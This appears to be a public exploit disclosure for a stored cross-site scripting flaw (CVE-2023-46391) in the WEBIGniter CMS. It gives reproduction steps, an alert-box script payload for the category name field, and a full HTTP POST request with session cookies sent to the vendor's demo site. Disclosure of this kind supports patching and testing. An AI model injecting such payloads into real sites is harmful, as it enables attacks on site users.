# Exploit Title: WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS) # Exploit Author: Sagar Banwa # Date: 19/10/2023 # Vendor: https://webigniter.net/ # Software: https://webigniter.net/demo # Reference: https://portswigger.net/web-security/cross-site-scripting # Tested on: Windows 10/Kali Linux # CVE : CVE-2023-46391 Stored Cross-site scripting(XSS): Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser. Steps-To-Reproduce: 1. Login to the Account 2. Go to the Categories. 3. Now add catagory > Name section use payload : "><script>alert(1)</script> and choose layoutfile as cat.php Request POST /cms/categories/add HTTP/2 Host: demo.webigniter.net Cookie: ci_session=iq8k2mjlp2dg4pqa42m3v3dn2d4lmtjb; hash=6ROmvkMoHKviB4zypWJXmjIv6vhTQlFw6bdHlRjX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 94 Origin: https://demo.webigniter.net Referer: https://demo.webigniter.net/cms/categories/add Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&slug=scriptalert1script&layout_file=cat.php